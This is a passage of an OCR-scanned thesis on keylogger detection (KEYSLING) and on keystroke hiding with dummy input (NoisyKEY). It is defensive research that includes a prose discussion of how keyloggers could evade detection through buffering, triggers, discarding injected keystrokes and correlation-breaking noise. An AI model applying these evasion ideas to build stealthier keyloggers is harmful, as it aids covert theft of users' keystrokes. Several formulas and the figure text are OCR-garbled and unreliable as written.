We conclude our analysis by verifying the impact of a keylogger buffering
the eavesdropped data before leaking it to the disk. Although we have not
found many real-world examples of this behavior in our evaluation, our tech-
nique can still handle this class of keyloggers correctly for reasonable buffer
sizes. Figure 3.5a depicts our detection results against a keylogger buffering
its output through a fixed-size buffer. The figure shows the impact of several
possible choices of the buffer size on the final PCC value. We can observe the
pivotal role of K, in successfully asserting detection. For example, increas-
ing K,nqe to 10240 is necessary to achieve sufficiently high PCC values for the
largest buffer size proposed. This experiment demonstrates once again that
the key to detection is inducing the pattern to distinctly emerge in the output
distribution, a feat that can be easily obtained by choosing a highly-variable
injection pattern with low values for K,,;, and high values for K,,,,.. We
believe these results are encouraging to acknowledge the robustness of our
detection technique against false negatives, even in presence of complex data
transformations.
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3.4.4 False positives

In our approach, false positives may occur when the output pattern of some
benign process accidentally scores a significant PCC value. If the value hap-
pens to be greater than the selected threshold, a false detection is flagged.
This section evaluates our prototype keylogger to investigate the likelihood
of this scenario in practice.

To generate representative synthetic workloads for the PC user, we adopted
the widely-used SYSmark 2004 SE suite [6]. The suite leverages common
Windows interactive applications to generate realistic workloads that mimic
common user scenarios with input and think time. In its 2004 SE version,
SYSmark supports two workload scenarios: Internet Content Creation (In-
ternet workload from now on), and Office Productivity (Office workload from
now on). In addition to the workload scenarios supported by SYSmark, we
also experimented with another workload simulating an idle Windows system
with common user applications running in the background, and no input al-
lowed by the user. In the Idle workload scenario, we allow no user input and
focus on the I/O behavior of a number of typical background processes. The
set of user programs used in each workload scenario is represented in Table 3.2.

SYSmark 2004

Idle Workload Internet Workload Office Workload
Skype 4.1 Adobe After Effects 5.5 Acrobat 5.0.5
Pidgin 2.6.3 Abode Photoshop 7.01 Microsoft Access 2002
Dropbox 0.6.556 Adobe Premiere 6.5 Microsoft Excel 2002
Firefox 3.5.7 3DS Max 5.1 Microsoft Internet Explorer 6
Google Chrome 5.0.307 Dreamweaver MX Microsoft Outlook 2002
Antivir Personal 9.0 Flash MX Microsoft PowerPoint 2002
Comodo Firewall 3.13 Windows Media Encoder 9 Microsoft Word 2002
VideoLAN 1.0.5 McAfee VirusScan 7.0 McAfee VirusScan 7.0
WinZip 8.1 Dragon Naturally Speaking 6
WinZip 8.1

Table 3.2: User programs in the considered workload scenarios.

For each scenario, we repeatedly reproduced the synthetic workloads on
a number of different machines and collected I/O traces of all the running
processes for several possible sampling intervals 7. Each trace was stored as
a set of output patterns and broken down into k consecutive chunks of N
samples. Every experiment was repeated over k/2 rounds, once for each pair
of consecutive chunks. At each round, the output patterns from the first chunk
were used to train our workload-aware pattern generation algorithm, while
the second chunk was used for testing. In the testing phase, we measured the
maximum PCC between every generated input pattern of length N and every
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Figure 3.7: Impact of N and T on the PCC measured with our prototype keylogger
against different workloads.

output pattern in the testing set. At the end of each experiment, we averaged
all the results. We also tested all the workload-agnostic pattern generation
algorithms introduced earlier, in which case we just relied on an instrumented
version of our prototype to measure the maximum PCC in all the depicted
scenarios for all the k chunks.

We start with an analysis of the pattern length NV, evaluating its effect
with 7" = 1000ms. Similar results can be obtained with other values of T.
Figure 3.7 (top row) depicts the results of the experiments for the Idle, In-
ternet, and Office workload. The behavior observed is very similar in all
the workload scenarios examined. The only noticeable difference is that the
Office workload presents a slightly more unstable PCC distribution. This is
probably due to the more irregular I/O workload monitored. As shown in
the figures, the maximum PCC value decreases exponentially as N increases.
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This confirms the intuition that for small N, the PCC may yield unstable and
inaccurate results, possibly assigning very high correlation values to regular
system processes. Fortunately, the maximum PCC decreases very rapidly
and, for example, for N > 30, its value is constantly below 0.35. As far as the
pattern generation algorithms are concerned, they all behave very similarly.
Notably, RFR yields the most stable PCC distribution. This is especially
evident for the Office workload. In addition, our workload-aware algorithm
WLD does not perform significantly better than any other workload-agnostic
pattern generation algorithm. This suggests that the output pattern of a
process at any given time is not in general a good predictor of the output
pattern that will be monitored next. This observation reflects the low level
of predictability in the I/O behavior of a process.

From the same figures we can observe the effect of the parameter T on
input patterns generated by the IMP algorithm (with N = 50). For small val-
ues of T', IMP outperforms all the other algorithms by producing extremely
anomalous I/O patterns in any workload scenario. As T increases, the ir-
regularity becomes less evident and IMP matches the behavior of the other
algorithms more closely. In general, for reasonable values of T, all the pat-
tern generation algorithms reveal a constant PCC distribution. This confirms
the property of self-similarity of the I/O traffic [37]. As expected, the PCC
measured is generally independent of the time interval T. Notably, RFR and
WLD reveal a more steady distribution of the PCC. This is due to the use
of a fixed range of values in both algorithms, and confirms the intuition that
more variability in the input pattern leads to more accurate results.

For very small values of T', we note that WLD performs significantly bet-
ter than the average. This is a hint that predicting the I/O behavior of a
generic process in a fairly accurate way is only realistic for small windows of
observation. In all the other cases, we believe that the complexity of imple-
menting a workload-aware algorithm largely outweighs its benefits. In our
analysis, we found that similar PCC distributions can be obtained with very
different types of workload, suggesting that it is possible to select the same
threshold for many different settings. For reasonable values of N and T, we
found that a threshold of ~ 0.5 is usually sufficient to rule out the possibility
of false positives, while being able to detect most keyloggers effectively. In
addition, the use of a stable pattern generation algorithm like RFR could also
help minimize the level of unpredictability across many different settings.

3.5 Evasion and Countermeasures

In this section, we speculate on the possible evasion techniques a keylogger
may employ once our detection strategy is deployed on real systems.
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3.5.1 Aggressive Buffering

A keylogger may rely on some forms of aggressive buffering, for example flush-
ing a very large buffer every time interval ¢, with ¢ being possibly hours. While
our model can potentially address this scenario, the extremely large window
of observation required to collect a sufficient number of samples would make
the resulting detection technique impractical. It is important to point out
that such a limitation stems from the implementation of the technique and
not from a design flaw in our detection model. For example, our model could
be applied to memory access patterns instead of I/O patterns to make the
resulting detection technique immune to aggressive buffering. This strategy,
however, would require a heavyweight infrastructure (e.g., virtualized envi-
ronment) to monitor the memory accesses, thus hindering the benefits of a
fully unprivileged solution.

3.5.2 Trigger-based Behavior

A keylogger may trigger the keylogging activity only in face of particular
events, for example when the user launches a particular application. Un-
fortunately, this trigger-based behavior may successfully evade our detection
technique. This is not, however, a shortcoming specific to our approach, but
rather a more fundamental limitation common to all the existing detection
techniques based on dynamic analysis [61]. While we believe that the problem
of triggering a specific behavior is orthogonal to our work and already focus
of much ongoing research, we point out that the user can still mitigate this
threat by periodically reissuing detection runs when necessary (e.g., every
time a new particularly sensitive context is accessed). Since our technique
can vet all the processes in a single detection run, we believe this strategy
can be realistically and effectively used in real-world scenarios.

3.5.3 Discrimination Attacks

Mimicking the user’s behavior may expose our approach to keyloggers able to
tell artificial and real keystrokes apart. A keylogger may, for instance, ignore
any input failing to display known statistical properties—e.g., not akin to
the English language—. However, since we control the input pattern, we can
carefully generate keystroke scancode sequences displaying the same statisti-
cal properties (e.g., English text) expected by the keylogger; a detection run
so-configured would thereby thwart this particular evasion technique. About
the case of a keylogger ignoring keystrokes when detecting a high (nonhu-
man) injection rate. This strategy, however, would make the keylogger prone
to denial of service: a system persistently generating and exfiltrating bogus
keystrokes would induce this type of keylogger to permanently disable the
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keylogging activity. As Chapter 4 will show, building such a system is feasi-
ble in practice (with reasonable overhead) using standard operating system
facilities.

3.5.4 Decorrelation Attacks

Decorrelation attacks attempt at breaking the correlation metric our approach
relies on. Since of all the attacks this is specifically tailored to thwarting our
technique, we hereby propose a heuristic intended to vet the system in case of
negative detection results. This is the case, for instance, of a keylogger trying
to generate I/O noise in the background and lowering the correlation that is
bound to exist between the pattern of keystrokes injected I and its own output
pattern O. In the attacker’s ideal case, this translates to PCC(I,0) ~ 0. To
approximate this result in the general case, however, the attacker must adapt
its disguisement strategy to the pattern generation algorithm in use, i.e., when
switching to a new injection I’ # I, the output stream of the keylogger should
reflect a new distribution O’ # O. The attacker could, for example, enforce
this property by adapting the noise generation to some input distribution-
specific variable (e.g., the current keystroke rate). Failure to do so will result
in random noise uncorrelated with the injection, a scenario which is already
handled by our PCC-based detection technique, as demonstrated earlier. At
the same time, we expect any legitimate process to maintain a sufficiently
stable I/O behavior regardless of the particular injection chosen.

Leveraging this intuition, we now introduce a two-step heuristic which
flags a process as legitimate only when a change in the input pattern gen-
eration algorithm does not translate to a change in the I/O behavior of the
process. Detection is flagged otherwise. In the first step, we adopt a non-
random pattern generation algorithm (e.g., SIN) to monitor all the running
processes for N - T seconds. This allows us to collect a number of charac-
teristic output patterns O;. In the second step, we adopt the RND pattern
generation algorithm and monitor the system again for N - T seconds. Each
output pattern O} obtained is tested for similarity against the corresponding
pattern O; monitored in the first step. At the end of this phase, a process i is
flagged as detected only when the similarity computed fails to exceed a cer-
tain threshold. To compare the output patterns we adopt the Dynamic Time
Warping (DTW) algorithm as a distance metric [80]. This technique, often
used to compare two different time series, warps sequences in the time dimen-
sion to determine a measure of similarity independent of non-linear variations
in the time dimensions.

To evaluate our heuristic, we implemented two different keyloggers at-
tempting to evade our detection technique. The first one, K-EXP, uses a
parallel thread to write a random amount of bytes which increases exponen-
tially with the number of keystrokes already logged to the disk. Since the
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Figure 3.8: Impact of N and T on the DTW.

transformation is nonlinear, we expect heavily perturbed PCC values. The
second one, K-PERF uses a parallel thread to simulate a single fixed-rate
byte stream being written to the disk. In this scenario, the amount of ran-
dom bytes written to the disk is dynamically adjusted basing on the keystroke
rate eavesdropped. This is arguably one of the most effective countermeasures
a keylogger may attempt to employ.

Figure 3.8 depicts the DTW computed by our two-step heuristic for dif-
ferent processes and increasing values of N and T. We can observe that our
artificial keyloggers both score very high DTW values with the pattern gen-
eration algorithms adopted in the two steps (i.e., SIN and RND). The reason
why K-PERF is also easily detected is that even small variations produced
by continuously adjusting the output pattern introduce some amount of vari-
ability which is correlated with the input pattern. This behavior immediately
translates to non negligible DTW values. Note that the attacker may attempt
to decrease the amount variability by using a periodically-flushed buffer to
shape the observed output distribution. A possible way to address this type of
attack is to apply our detection model to memory access patterns, a strategy
we investigate in Chapter 5. The intuition is that memory access patterns can
be used to infer the keylogging behavior directly from the memory activity,
making the resulting detection technique independent of the particular flush-
ing strategy adopted by the keylogger. In the figure we can also observe that
all the legitimate processes analyzed score very low DTW values. This result
confirms that their I/O behavior is completely uncorrelated with the input
pattern chosen for injection. We observed similar results for other settings
and applications; we omit results for brevity. Finally, Figure 3.8 shows also
that our artificial keyloggers both score increasingly higher DTW values for
larger number of samples N. We previously observed similar behavior for the
PCC, for which more stable results could be obtained for increasing values of
N. The conclusion is that analyzing a sufficiently large number of samples
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is crucial to obtain accurate results when estimating the similarity between
different distributions. Increasing the time interval T', on the other hand,
does not affect the DTW values of our artificial keyloggers.

3.6 Related Work

Different works deal with the detection of keyloggers. The simplest approach
is to rely on signatures, i.e. fingerprints of a compiled executable. Many com-
mercial anti-malware [57; 90; 41] adopt this strategy as first detection routine;
even if augmented by some heuristics to detect 0-day samples, Christodorescu
and Jha [15] show that code obfuscation is a sound strategy to elude detec-
tion. In the case of user-space keyloggers we do not even need to obfuscate the
code. The complexity of these keyloggers is so low that little modifications
to the source code are trivial. While ours is the first technique to solely rely
on unprivileged mechanisms, several approaches have been recently proposed
to detect privacy-breaching malware, including keyloggers.

One popular technique that deals with malware in general is taint analy-
sis. It basically tries to track how the data is accessed by different processes
by tracking the propagation of the tainted data. However, Slowinska and
Bos [86] show how this technique is prone to a plethora of false positives if
applied to privacy-breaching software. Moreover, Cavallaro et al. [12], show
that the process of designing a malware to elude taint analysis is a practical
task. Furthermore, all these approaches require a privileged execution envi-
ronment and thus are not applicable to our setting. A black-box approach
to detect malicious behaviors has been recently introduced by Sekar in [82].
The approach, tailored to web applications, is able to block a broad range of
injection attacks by comparing the application’s input and output. However,
like all the qualitative approaches, privileged rights are required to inspect
the input and the output of an application. Our approach is rather similar,
but it only relies on quantitative measurements—we measure the amount of
bytes an application writes, not their content—thus able to run in an unpriv-
ileged execution environment. Another approach aiming at profiling malware
samples while also discarding any information on their internals is proposed
by Cozzie et al. [19]. Rather than profiling the compiled executable, a sample
is classified based on the data structures used upon execution. Unfortunately,
as discussed before in Section 2.2, keyloggers are so simple to implement that
a stripped-down version can be implemented with no data structures at all.

Behavior-based spyware detection has been first introduced by Kirda et al.
in [45]. Their approach is tailored to malicious Internet Explorer loadable
modules. In particular, modules monitoring the user’s activity and disclosing
private data to third parties are flagged as spyware. Their analysis models
malicious behavior in terms of API calls invoked in response to browser events.
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Unfortunately, the same model, if ported to system-level analysis, would con-
sider as monitoring APIs all those that are commonly used by legitimate
programs. Their approach is therefore prone to false positives, which can
only be mitigated with continuously updated whitelists. Another approach
that relies on the specific behavior of a restricted class of malware is proposed
by Borders et al. in [9]. They tackle the problem of malware mimicking legiti-
mate network activity in order to blend in, and subsequently avoid detection.
The proposed approach injects crafted user activity where the resulting traf-
fic is also known. Whether the network traffic deviates from the expected
one, an alert is then raised. Their approach is however heavily prone to both
false positives and false negatives. False positives are due to background pro-
cesses, and are mitigated by a white-list. A white-list is however effective
only if constantly and promptly updated, a task that would moreover require
a trusted authority. Our approach does not share the same limitation. In-
stead we record and analyze the behavior of common and certified workloads
(see Section 3.4.4); results shows that our definition of malicious behavior
is never shared by benign processes. Furthermore, false negatives are not
explicitly analyzed; they however discuss the inter-related problem of gener-
ating close-to-real user activity. It is easy to see that a keylogger aware of the
generated activity could easily discard it and thus evade detection. Our ap-
proach instead does not require close-to-human user activity and, as showed
in Section 3.4.3, can easily leverage randomly generated keystroke patterns.
Other keylogger-specific approaches suggested detecting the use of well-
known keystroke interception APIs. Aslam et al. [3] propose binary static
analysis to locate the intended API calls. Unfortunately, all these calls are
also used by legitimate applications (e.g., shortcut managers) and this ap-
proach is again prone to false positives. Xu et al. [105] push this technique
further, specifically targeting Windows-based operating systems. They rely
on the very same hooks used by keyloggers to alter the message type from
WM_KEYDOWN to WM_CHAR. A keylogger aware of this countermeasure, however,
can easily evade detection by also switching to the new message type or pe-
riodically registering a new hook to obtain higher priority in the hook chain.
Closer to our approach is the solution proposed by Al-Hammadi and
Aickelin in [1]. Their strategy is to model the keylogging behavior in terms
of the number of API calls issued in the window of observation. To be
more precise, they observe the frequency of APT calls invoked to (i) intercept
keystrokes, (ii) writing to a file, and (iii) sending bytes over the network. A
keylogger is detected when two of these frequencies are found to be highly cor-
related. Since no bogus events are issued to the system (no injection of crafted
input), the correlation may not be as strong as expected. The resulting value
would be even more impaired in case of any delay introduced by the keylog-
ger. Moreover, since their analysis is solely focused on a specific bot, it lacks
a proper discussion on both false positives and false negatives. In contrast to
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their approach, our quantitative analysis is performed at the byte granularity
and our correlation metric (PCC) is rigorously linear. As shown earlier, linear-
ity makes our technique completely resilient to several common data transfor-
mations performed by keyloggers. Our approach is also resilient to keyloggers
buffering the collected data. A similar quantitative and privileged technique
is sketched by Han et al. [35]. Unlike the solution presented in [1], their tech-
nique does include an injection phase. Their detection strategy, however, still
models the keylogging behavior in terms of API calls. In practice, the as-
sumption that a certain number of keystrokes results in a predictable number
of API calls is fragile and heavily implementation-dependent. In contrast, our
byte-level analysis relies on finer grained measurements and can identify all
the information required for the detection in a fully unprivileged way.

Complementary to our work, recent approaches have proposed automatic
identification of trigger-based behavior, which can potentially thwart any de-
tection technique based on dynamic analysis. In particular, in [61; 11] the
authors propose a combination of concrete and symbolic execution. Their
strategy aims to explore all the possible execution paths that a malware sam-
ple can possibly exhibit during execution. As the authors in [61] admit,
however, automating the detection of trigger-based behavior is an extremely
challenging task which requires advanced privileged tools. The problem is
also undecidable in the general case. In conclusion, Floréncio and Herley [28]
suggest the possibility of ignoring whether a keylogger is installed by sim-
ply instructing the user to intersperse some random text among the private
and real information (the random text intended to be typed on a second
and dummy application). Unfortunately, the time-stamps assigned to each
keystroke would allow a keylogger to easily distinguish which keystrokes are
intended to reach the real application and which the dummy one.

3.7 Conclusions

This chapter presented KEYSLING, an unprivileged black-box approach for ac-
curate detection of the most common keyloggers, i.e., user-space keyloggers.
We modeled the behavior of a keylogger by correlating the input (i.e., the
keystrokes) with the output (i.e., the I/O patterns produced by the keylogger).
In addition, we augmented our model with the ability to artificially inject care-
fully crafted keystroke patterns, and discussed the problem of choosing the
best input pattern to improve our detection rate. We successfully evaluated
our prototype system against the most common free keyloggers [81], with no
false positives and no false negatives reported. The possible attacks to our
detection technique, discussed at length in Section 3.5, are countered by the
ease of deployment of our technique.







Unprivileged Toleration of Keyloggers via
Keystrokes Hiding

4.1 Introduction

Regardless of the detection’s accuracy, removing a malicious piece of software
can easily become a dreadful and unpleasant activity. Users of the Windows
OS are well-aware of the challenges posed by removing a piece of malicious
code: the subverted OS facilities are generally so numerous that Anti-virus
programs regularly bail out of the removal phase and instead point the user to
security bulletins with step-by-step removal instructions. In addition, many
are the cases in which users have insufficient permissions to perform a com-
plete removal of the malicious application. For example, many companies
provide their employees with only non-administrative user accounts. The sit-
uation is even more problematic for users temporarily accessing untrusted
machines, e.g., Internet cafés. In this scenario, the user is literally entrusting
his private data to strangers who may or may not honor his trust.

To address these concerns, a number of commercial solutions [97; 72] have
been recently proposed. The general idea is to encrypt the keystrokes before
they leave the kernel and decrypt them upon arrival at the intended user ap-
plication. This approach has two fundamental limitations. First, it requires a
new kernel module which can only be installed with privileged rights. Second,
it does not attempt to hide or disguise the typing dynamics of the user. Un-
fortunately, keystroke dynamics have been proved to be sufficiently accurate
to crack passwords [87], with surprisingly good results in case of dictionary-
based attacks for the English language [108]. In this Chapter we introduce
NoisyKEY, the first unprivileged and statistically sound approach to tolerate
the presence of a user-space keylogger. Unlike previous methods [97; 72], we
confine the user keystrokes in a noisy event channel by artificially generating
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dummy keystroke data. Our technique exposes the noisy keystroke stream
only to keyloggers, while allowing all legitimate applications to transparently
recover the original data. It is in fact of general applicability; unlike other
solutions [29] where only passwords and web browsers were considered, our
technique treats all keystrokes and applications alike, meaning it is not do-
main specific. Further, the generation of dummy keystrokes is backed by a
privacy model that ensures that the resulting stream is indistinguishable from
random noise. The key idea is to adopt a predetermined reference keystroke
distribution and adaptively generate dummy keystroke data such that the
combination of the user activity and the generated noise always matches the
reference distribution. The result is that details on the original user activity
are no longer exposed to the adversary. We prototyped our technique in a
lightweight library that does not require any privilege to be deployed. To
verify the effectiveness, we evaluated our prototype against a real dataset of
user inputs [44]. Our experiments show that our technique successfully elim-
inates any evidence of the original user behavior from the overall keystroke
distribution, and only impacts marginally the user experience.

4.2 Our Approach

The key idea is to transparently flood with dummy data the event channel
used to deliver the user keystrokes to the intended application. If the gener-
ated noise can not be distinguished from user activity, any malicious appli-
cation listening at the same channel will only eavesdrop a random stream of
data, with no means to recover the original keystrokes. Although throughout
the remainder of the chapter we adopt Windows as operating system (OS) of
choice, similar considerations hold as long as the underlying OS provides user-
space APIs to inject and intercept keystrokes. As we showed in Chapter 2,
these requirements are well-satisfied by all modern Unix-like OSes.
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i'"s{;};é'ﬁ;f;'s"t';':';"ii;"""_'_g ntdil.dil
81| | useraz.di
Haic

noisykey.dll

csrss.exe

INPUTDATA

S300H T=q0TD

INPUTDATA

Event
Channel

(@)@ U

1Real Input

Figure 4.1: The event channel present in all Windows operating systems, and used to
deliver the keystrokes to the intended user application.

On Windows, a single keystroke leaving the kernel is first delivered to the
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process csrss.exe. Its task is to reroute the user input to the intended ap-
plication. At destination, the keystroke is handled by the GUI application
thread, which eventually calls user32.d11 to update the user interface. Fig-
ure 4.1 depicts all the components involved in the process and highlights those
that can potentially be subverted by user-space keyloggers. We have verified
this claim by analyzing all the samples available at [81] and found no excep-
tion. Our solution is implemented in the library noisykey.d1l. Although
it does not interfere with the internals of the event channel, it does control
its ends (a) and (b). On one side, it injects well-crafted noise in the form
of dummy keystrokes. On the other, it removes the noise before it reaches
the graphical routines included in user32.d11. Unlike alternative approaches
establishing a separate event channel, our approach is entirely unprivileged.
Also, deploying our solution does not require the user to recompile or restart
the application, but, as we later explain, is completely online. To preserve
keyboard shortcut functionalities, our solution explicitly handles well-known
hotkey modifiers (i.e., CTRL, ALT, WIN, and SHIFT). Dead-keys and user-defined
shortcuts, in turn, can be explicitly white-listed by the user. Finally, to mini-
mize the impact on the performance, noisykey.d11l automatically interrupts
its activities when the target application is not on-focus.

4.2.1 Architecture

The architecture of our solution, depicted in Figure 4.2, comprises four differ-
ent components: the Noise Factory, the Normalizer, the Injector Thread, and
the Silencer Thread. The Noise Factory is a repository of dummy keystroke
sequences. These sequences have to be well-forged in order to mimic human-
like keystroke dynamics. The Normalizer acts as middle-man between the
Noise Factory and the Injector Thread. Its goal is to generate context-aware
noise, shaping the dummy data according to the user activity. The impor-
tance of context awareness is immediately evident when we consider the case
of a user typing a credit card number. A context-agnostic noise may not in-
clude any digits at all, allowing a context-aware attacker to easily recover the
original data. The last two components are two loosely synchronized threads
designed to inject the dummy keystrokes into the event channel and subse-
quently exfiltrate the original user activity. The Injector Thread completes
an iteration every I; ms and injects the dummy keystrokes using the API
keybd_event (). We duly investigate the choice of I; in Section 4.5, as it may
considerably affect the performance hit imposed by our solution.

The Silencer Thread, in turn, is invoked each time a keystroke traverses
the event channel. This is made possible by the Detour framework, which en-
ables online interception of all the calls to the DispatchMessage () function
in user32.d11. In our tests, this practice alerted the installed AntiVirus, sug-
gesting that our technique would require whitelisting for realistic large-scale
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Figure 4.2: NoI1sYKEY architecture.

deployment. This behavior, however, also guarantees that keyloggers cannot
rely on the same strategy to subvert our technique. At each invocation, the
Silencer Thread interrupts the Injector Thread to retrieve all the dummy data
injected from the last invocation. Once the real keystrokes are exfiltrated, the
thread updates the Normalizer with the new user activity found.

4.3 Keystroke Dynamics Model

We model the dynamics of a keystroke using the following factors: (i) scancode
(i.e., the code associated to the keydown event), (ii) typing timestamp (i.e.,
the timestamp of the keydown event), and (iii) hold time (the time between
the keydown and the keyup event). Unlike our other approaches where the
reasoning was purely quantitative, in this scenario we also rely on qualitative
measurements, namely which symbols are being typed. Note that a typable
symbol does not necessarily correspond to a visible character. For instance,
the capital letter A is obtained by the combination of scancodes SHIFT+a.
Our model merges these combinations in a single scancode defined over the
alphabet of typable symbols 3. To model the typing timestamp and the
hold time, we assume a discretized time model, i.e., T = {to,...,t,}. More
formally:

Definition 1. A keystroke is a triple, (k,t,h) represented by the scancode
k € X, the typing timestamp t € T, and the hold time h € T.

Unlike in all other approaches
User-generated keystrokes are generally issued in logically related sequences,
e.g., passwords, usernames, and credit card numbers. Thus:

Definition 2. A keystroke sequence S is a set of n triples, S = {{ko, to, ho),
vy {knytn, hy) b, where 0 < i < n.

To reason over the typing dynamics of a keystroke sequence, we adopt a
probabilistic approach, with timing information modeled by random variables.
In particular, given a generic keystroke sequence S, we model the number of



4.4. PRIVACY MODEL 53

keystrokes pressed over a time interval T; ; = {t; | t; < t; < t;} using the
random variable Xg (75 ;). This allows us to quantitatively model the typing
dynamics of any given keystroke sequence. To qualitatively model the typing
dynamics, we resort to a second random variable, Ys r, (k), which, given
S and T; ;, measures the number of keystrokes with scancode k issued in
the time interval. The random variable Zs 1, ; (k,h), finally, measures the
number of keystrokes with scancode k and hold time h issued in the time
interval. More formally:

Definition 3. Let S be a keystroke sequence of length n, and T; ; a generic
time interval. Then:

The function fg : ExTXT — {0, 1} determines if a keystroke, as identified
by its triple, is part of the keystroke sequence S, where the € operator treats
nil arguments as wildcards:

1 if(k,t,hyesS

0 otherwise,

fS (katvh) = {

The random variable Xg (T} ;) counts the number of keystrokes issued in
Ti,j N
Xs(Tij) = Y fs(nil,t;,nil) (4.1)

t €Ty 5

The random variable Ys 1, ; (k) counts the number of keystrokes with scan-
code k in T ;:

Yor,, (k)= > fs(k,ti,nil) (4.2)

t €Ty 5

The random wvariable Zs 1, ; (k,t) counts the number of keystrokes with
scancode k and hold time t in T; ;:

Zsm,, (k,h) = Y fs(k,ti,h (4.3)

t €Ty 5

4.4 Privacy Model

Our privacy model is based on the work of Pfitzmann and Hansen [70]. Their
work defines a consolidated terminology for privacy properties in the context
of distributed systems where senders and receivers (i.e., actors), are assumed
to exchange messages (i.e., items of interest). Our setting is slightly simpli-
fied, as we do not have to consider different actors. Under the assumption
that the adversary has no way to tell real and dummy keystrokes apart, we
consider just one sender, the keyboard, and one receiver, the application. Our
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goal is to generate dummy events so that the original keystrokes and their
dynamics are no longer explicitly exposed to the adversary.

In messaging contexts, the strongest privacy property is undetectability,
namely that an adversary has no ability to identify a real message among
other (dummy) messages. We use this property in the case of keystrokes. We
say that a keystroke sequence (i.e., the user activity) is undetectable if an
adversary has no ability to discriminate it from other dummy keystroke se-
quences. Following the findings in [69], we define the undetectability property
in terms of behavioral similarities between the random variables that describe
the sensitive items of interests, i.e., the keystroke sequences.

Privacy-definition 1. Given a statistical test T, two random wvariables,
Ry and R, are said to be a-undetectable with respect to each other, i.e.,
Ri =, Ro, if the null hypothesis that their two datasets are from different
distributions is rejected by 7 with confidence 1 — .

We extend now the concept of a-undetectability to keystroke sequences
by taking into account all their random variables:

Privacy-definition 2. Given a time interval T; j, two keystroke sequences
S1, S are a-undetectable with respect to each other, i.e., S1 =, Sa, if all their

random variables are a-undetectable given any scancode k € ¥, and hold time
heT:

Xs, (Tij) =a Xs, (Ti;)
YSl,Tiﬁj (k) ’QJ“OL YS27Ti,j (k)
Z517Ti,j (k,h) R ng,Tm (k,h)

In the ideal case of constant human activity, i.e., random variables with a
steady underlying distribution, our goal would be to inject dummy keystroke
sequences that yield identical random variables. Unfortunately, this is hardly
a realistic assumption, given the complexity of the typing dynamics of a typi-
cal user, which are known to exhibit high variability over time. Reasons range
from adaptation to new environments to variations in the emotional state of
the user [44]. These observations suggest that a robust injection strategy must
adapt to the real user activity in real time. For example, intense user activ-
ity should result in lower injection rates for the dummy keystroke sequences.
The injection should be also context-aware, e.g., a user typing his credit card
number should result in lower frequencies of dummy numeric scancodes. To
meet these goals, our strategy is to keep the overall behavior steady, with
dummy keystroke sequences tuned according to the user activity over time.

Privacy-definition 3. Let S, be a user-issued keystroke sequence, and Sy a
dummy keystroke sequence injected. S, is per se a-undetectable if S;.U Sy =,
Sref, where Syep is the reference keystroke sequence.
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It is of great importance to choose a suitable S by accurately tuning
its random variables. For instance, the rate of keystrokes per time inter-
val Xg, . (T;,;) must be selected orders of magnitude greater than the rate
found in a typical user-issued keystroke sequence Xg, (7; ;). Failing to meet
this requirement would break the a-undetectability property and potentially
allow an adversary to recover the original user-issued keystrokes. Likewise,
Ys...1,, (k) must agree with the subset of scancodes used by the user and
also provide higher frequencies for every possible scancode € S;. Failure to
do so would again break the a-undetectability property and potentially al-
low a context-aware adversary to recover the original user-issued keystroke
sequences defined over a limited set of scancodes, e.g., credit card numbers.
Similar concerns apply to Zs,,. 1, ; (k,h).

We now introduce the S;er used in our evaluation. The 3 random variables
are selected with uniform probability distributions, with ranges chosen on a
per-variable basis:

X3, (T;,;) ~ Uniformx (0,400)
Y51, (k) ~ Uniformy (L (¥),U (X))
Z3,u,1;.; (K, h) ~ Uniformz(0,2000)

Based on our findings, further explained in Section 4.5, we set the maxi-
mum keystroke rate for Uniformx (dpax from now on) to 400 keystrokes. The
range of Uniformy reflects, in turn, the idea that each scancode k € 3 should
have an equal probability of occurrence in the reference keystroke sequence
Sret (L and U are, respectively, the lower and the upper bound). Choosing a
proper range for Uniformy proved to be more challenging, as the maximum
user hold time cannot be easily estimated in advance. Our strategy is to re-
sort to the maximum hold time found in the dataset published by Killourhy
and Maxion in [44]. We believe this dataset to be authoritative and fairly
comprehensive, collecting more than 20000 keystrokes timings typed by more
than 50 different subjects. In conclusion, we point out that choosing a proper
Stet 18 merely a parameter of our model, and can thus be tuned according to
domain-specific requirements at deployment time.

4.5 Evaluation

We implemented our prototype in a dynamic linked library written in C++
and evaluated it in Windows 7 SP1. All the experiments were performed on
a machine with an Intel Core i7 processor and 4GB of RAM. While we tested
many different user applications (e.g., Firefox, Thunderbird, Notepad) with-
out incurring any compatibility issue, we adopted Firefox as our application
of choice due to its widespread adoption.
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4.5.1 Preliminaries

To validate our technique against real user activity, we implemented a user
keystroke sequence simulator. Using the patterns from the dataset published
by Killourhy and Maxion in [44], we simulated the activity of 51 different
subjects typing the password .tieS5Roanl 400 times (as many as those in-
cluded in the original dataset). We split the evaluation in two different parts.
First, we select a single keystroke sequence and investigate the performance
impact of our solution in terms of additional CPU load and latency perceived
by the user. Subsequently, we verify the effectiveness of our technique by
ascertaining whether the simulated user activity is a-undetectable regardless
of the typing subject.

For each experiment we set S, from the keystroke timings of the selected
subject and we initialize the Noise Factory with the reference keystroke
sequence (i.e., Sq = Spef), ready to be adapted at runtime by the Nor-
malizer. During each run we continuously assess whether the assumption
SrUSq & Srer holds. To this end, we break down each run into two different
phases: (i) a first phase simulating the absence of user activity; (ii) a second
phase loading the keystroke sequence simulator with S, and instructing the
Normalizer to adapt the sequence of dummy keystrokes Sy. Finally, in order
to assess whether S, is a-undetectable, we apply the Privacy-definition 1 by
instantiating the statistical test .7 with a Pearson x? two samples test with
significance a« = 0.01—hence ascertaining whether S, is 0.01-undetectable.
To satisfy Privacy-definition 2, we formulate the following hypotheses test for
each random variable R = {X,Y, Z}:

ref

Hy : Rsr U de ~ Rg
H,:Rs URg, + Rg

ref

The test accepts the null hypothesis (Hy) with confidence 1—« if the values
generated by both groups of random variables are consistent with a single
probabilistic distribution. We calculate the outcome of the test by deriving
the frequencies of the values and determining the resulting p-value via the
same methodology adopted in [69]. We first derive the values’ frequencies

by binning the related occurrences, which yields to two sets O! and O?. We
(o} (—)20?)2
value in the x? distribution’s table to ascertéin whether Hy has to be accepted
given the chosen level of confidence 1 — a.

then apply the x? definition, p = Z?:o , and we check the resulting p-

The remainder of the evaluation is structured as follows. We first give
an answer to the concerns raised in Section 4.2, and properly investigate the
best settings for the maximum injection rate of keystrokes, and the spinning
interval of the injection thread. Second, we investigate the robustness of
our solution against different windows of observation, thus impersonating an
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adversary aggressively looking for change in the underlying distribution of
the random variables. We conclude with an analysis on the effectiveness of
preserving the privacy of all the subjects who contributed to the dataset [44],
and show that our solution successfully hides their keystroke dynamics.

4.5.2 Performance
